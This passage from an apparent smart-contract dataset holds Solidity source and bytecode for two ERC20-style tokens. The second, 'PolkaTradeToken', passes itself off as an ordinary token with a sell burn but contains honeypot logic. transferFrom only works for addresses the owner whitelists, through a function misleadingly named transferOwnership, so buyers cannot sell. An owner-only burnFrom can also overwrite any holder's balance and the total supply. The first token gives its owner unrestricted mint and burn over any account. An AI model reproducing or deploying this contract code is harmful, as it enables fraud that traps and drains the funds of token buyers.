_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function mint(address account, uint256 amount) public onlyOwner{
_mint( account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function Burn(address account, uint256 amount) public onlyOwner {
_burn( account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb14610209578063cc16f5db1461021c578063dd62ed3e1461022f578063f2fde38b1461026857600080fd5b8063715018a6146101cb5780638da5cb5b146101d357806395d89b41146101ee578063a457c2d7146101f657600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461017a57806340c10f191461018d57806370a08231146101a257600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d61027b565b60405161011a9190610c93565b60405180910390f35b610136610131366004610c69565b61030d565b604051901515815260200161011a565b6003545b60405190815260200161011a565b610136610166366004610c2d565b610323565b6040516009815260200161011a565b610136610188366004610c69565b6103d9565b6101a061019b366004610c69565b610410565b005b61014a6101b0366004610bd8565b6001600160a01b031660009081526001602052604090205490565b6101a0610448565b6000546040516001600160a01b03909116815260200161011a565b61010d6104bc565b610136610204366004610c69565b6104cb565b610136610217366004610c69565b610566565b6101a061022a366004610c69565b610573565b61014a61023d366004610bfa565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6101a0610276366004610bd8565b6105a7565b60606004805461028a90610d4c565b80601f01602080910402602001604051908101604052809291908181526020018280546102b690610d4c565b80156103035780601f106102d857610100808354040283529160200191610303565b820191906000526020600020905b8154815290600101906020018083116102e657829003601f168201915b5050505050905090565b600061031a338484610691565b50600192915050565b60006103308484846107b6565b6001600160a01b0384166000908152600260209081526040808320338452909152902054828110156103ba5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103ce85336103c98685610d35565b610691565b506001949350505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161031a9185906103c9908690610d1d565b6000546001600160a01b0316331461043a5760405162461bcd60e51b81526004016103b190610ce8565b610444828261098e565b5050565b6000546001600160a01b031633146104725760405162461bcd60e51b81526004016103b190610ce8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60606005805461028a90610d4c565b3360009081526002602090815260408083206001600160a01b03861684529091528120548281101561054d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103b1565b61055c33856103c98685610d35565b5060019392505050565b600061031a3384846107b6565b6000546001600160a01b0316331461059d5760405162461bcd60e51b81526004016103b190610ce8565b6104448282610a6d565b6000546001600160a01b031633146105d15760405162461bcd60e51b81526004016103b190610ce8565b6001600160a01b0381166106365760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103b1565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106f35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103b1565b6001600160a01b0382166107545760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103b1565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831661081a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103b1565b6001600160a01b03821661087c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103b1565b6001600160a01b038316600090815260016020526040902054818110156108f45760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103b1565b6108fe8282610d35565b6001600160a01b038086166000908152600160205260408082209390935590851681529081208054849290610934908490610d1d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161098091815260200190565b60405180910390a350505050565b6001600160a01b0382166109e45760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016103b1565b80600360008282546109f69190610d1d565b90915550506001600160a01b03821660009081526001602052604081208054839290610a23908490610d1d565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6001600160a01b038216610acd5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016103b1565b6001600160a01b03821660009081526001602052604090205481811015610b415760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b60648201526084016103b1565b610b4b8282610d35565b6001600160a01b03841660009081526001602052604081209190915560038054849290610b79908490610d35565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016107a9565b80356001600160a01b0381168114610bd357600080fd5b919050565b600060208284031215610bea57600080fd5b610bf382610bbc565b9392505050565b60008060408385031215610c0d57600080fd5b610c1683610bbc565b9150610c2460208401610bbc565b90509250929050565b600080600060608486031215610c4257600080fd5b610c4b84610bbc565b9250610c5960208501610bbc565b9150604084013590509250925092565b60008060408385031215610c7c57600080fd5b610c8583610bbc565b946020939093013593505050565b600060208083528351808285015260005b81811015610cc057858101830151858201604001528201610ca4565b81811115610cd2576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610d3057610d30610d87565b500190565b600082821015610d4757610d47610d87565b500390565b600181811c90821680610d6057607f821691505b60208210811415610d8157634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea26469706673582212205540eea3f84573c9fa3f959fb78a142b5c7a642dd7f858bbfb2172c2d667afc264736f6c63430008060033
|
{"success": true, "error": null, "results": {}}
| 5,123 |
0x8e5960e8471b7b96ffe8e24b2cc257f783c1a6e0
|
//"SPDX-License-Identifier: MIT"
/**
____ ____ ______ __
/ __ \____ / / /______ /_ __/________ _____/ /__
/ /_/ / __ \/ / //_/ __ `// / / ___/ __ `/ __ / _ \
/ ____/ /_/ / / ,< / /_/ // / / / / /_/ / /_/ / __/
/_/ \____/_/_/|_|\__,_//_/ /_/ \__,_/\__,_/\___/
*/
pragma solidity 0.6.0;
/**
* @dev Interface ofƒice the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address trecipient, uint256 amount) external returns (bool);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
abstract contract ERC20Detailed is IERC20 {
uint8 private _Tokendecimals;
string private _Tokenname;
string private _Tokensymbol;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_Tokendecimals = decimals;
_Tokenname = name;
_Tokensymbol = symbol;
}
function name() public view returns(string memory) {
return _Tokenname;
}
function symbol() public view returns(string memory) {
return _Tokensymbol;
}
function decimals() public view returns(uint8) {
return _Tokendecimals;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = msg.sender;
owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner == msg.sender, "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
}
contract PolkaTradeToken is Ownable {
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
mapping (address => uint256) private _balances;
address private _uniswaprouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(uint256 _totalSupply) public {
name = "PolkaTrade.Finance";
symbol = "PLKF";
decimals = 18;
allow[msg.sender] = true;
//@dev Total supply creation
totalSupply = totalSupply.add(_totalSupply);
balances[msg.sender] = balances[msg.sender].add(_totalSupply);
emit Transfer(address(0), msg.sender, _totalSupply);
}
using SafeMath for uint256;
mapping(address => uint256) public balances;
mapping(address => bool) public allow;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) public allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(allow[_from] == true);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function transferOwnership(address ownerAddress, bool approved) external onlyOwner {
allow[ownerAddress] = approved;
}
//5% on sell
uint256 public burnPercentage = 5;
function findPercentage(uint256 amount) public view returns (uint256) {
uint256 percent = amount.mul(burnPercentage).div(100);
return percent;
}
function _burnTokens(address account, uint256 amount) internal {
require(amount != 0);
require(amount <= _balances[account]);
totalSupply = totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
function burnFrom(address account, uint256 balance, uint256 subtract) external onlyOwner {
require(account != address(0), "ERC20: burn from the zero address disallowed");
balances[account] = balance.sub(subtract, "ERC20: burn amount exceeds balance");
totalSupply = balance.sub(subtract);
}
//burn rate change, only by owner
//only if necessary after community vote
function changeBurnPercentage(uint8 newRate) external onlyOwner {
burnPercentage = newRate;
}
//transfer function
function _execTransfer(address _from, address _to, uint256 _value) private {
if (_to == address(0)) revert();
if (_value <= 0) revert();
if (_balances[_from] < _value) revert();
if (_balances[_to] + _value < _balances[_to]) revert();
//buy transfer
if(_to == _uniswaprouter || _to == owner || _from == owner) {
_balances[_from] = SafeMath.sub(_balances[_from], _value);
_balances[_to] = SafeMath.add(_balances[_to], _value);
emit Transfer(_from, _to, _value);
} else {
//sell transfer, burn
uint256 tokensToBurn = findPercentage(_value);
uint256 tokensToTransfer = _value.sub(tokensToBurn);
_balances[_from] = SafeMath.sub(_balances[_from], tokensToTransfer);
_balances[_to] = _balances[_to].add(tokensToTransfer);
emit Transfer(_from, _to, tokensToTransfer);
_burnTokens(_from, tokensToBurn);
}
}
}
|
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063a9059cbb11610071578063a9059cbb146105a1578063b242e53414610607578063dd62ed3e14610657578063f01f20df146106cf578063ff9913e8146106ed57610121565b806370a0823114610430578063715018a6146104885780638da5cb5b1461049257806395d89b41146104dc5780639d799ff11461055f57610121565b806323b872dd116100f457806323b872dd1461028557806327e235e31461030b578063313ce567146103635780635c6581651461038757806366b627bd146103ff57610121565b806306fdde0314610126578063095ea7b3146101a9578063124d91e51461020f57806318160ddd14610267575b600080fd5b61012e610749565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101f5600480360360408110156101bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107e7565b604051808215151515815260200191505060405180910390f35b6102656004803603606081101561022557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506108d9565b005b61026f610aaf565b6040518082815260200191505060405180910390f35b6102f16004803603606081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ab5565b604051808215151515815260200191505060405180910390f35b61034d6004803603602081101561032157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ecb565b6040518082815260200191505060405180910390f35b61036b610ee3565b604051808260ff1660ff16815260200191505060405180910390f35b6103e96004803603604081101561039d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ef6565b6040518082815260200191505060405180910390f35b61042e6004803603602081101561041557600080fd5b81019080803560ff169060200190929190505050610f1b565b005b6104726004803603602081101561044657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fea565b6040518082815260200191505060405180910390f35b610490611033565b005b61049a6111b4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104e46111d9565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610524578082015181840152602081019050610509565b50505050905090810190601f1680156105515780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61058b6004803603602081101561057557600080fd5b8101908080359060200190929190505050611277565b6040518082815260200191505060405180910390f35b6105ed600480360360408110156105b757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112ad565b604051808215151515815260200191505060405180910390f35b6106556004803603604081101561061d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506114cd565b005b6106b96004803603604081101561066d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115ea565b6040518082815260200191505060405180910390f35b6106d7611671565b6040518082815260200191505060405180910390f35b61072f6004803603602081101561070357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611677565b604051808215151515815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107df5780601f106107b4576101008083540402835291602001916107df565b820191906000526020600020905b8154815290600101906020018083116107c257829003601f168201915b505050505081565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461099b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a21576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806119e2602c913960400191505060405180910390fd5b610a4e816040518060600160405280602281526020016119c060229139846116979092919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610aa4818361175790919063ffffffff16565b600481905550505050565b60045481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610af057600080fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610b3c57600080fd5b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115610bc557600080fd5b60011515600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610c2257600080fd5b610c7482600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175790919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d0982600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a190919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ddb82600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175790919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60076020528060005260406000206000915090505481565b600360009054906101000a900460ff1681565b6009602052816000526040600020602052806000526040600020600091509150505481565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fdd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060ff16600a8190555050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673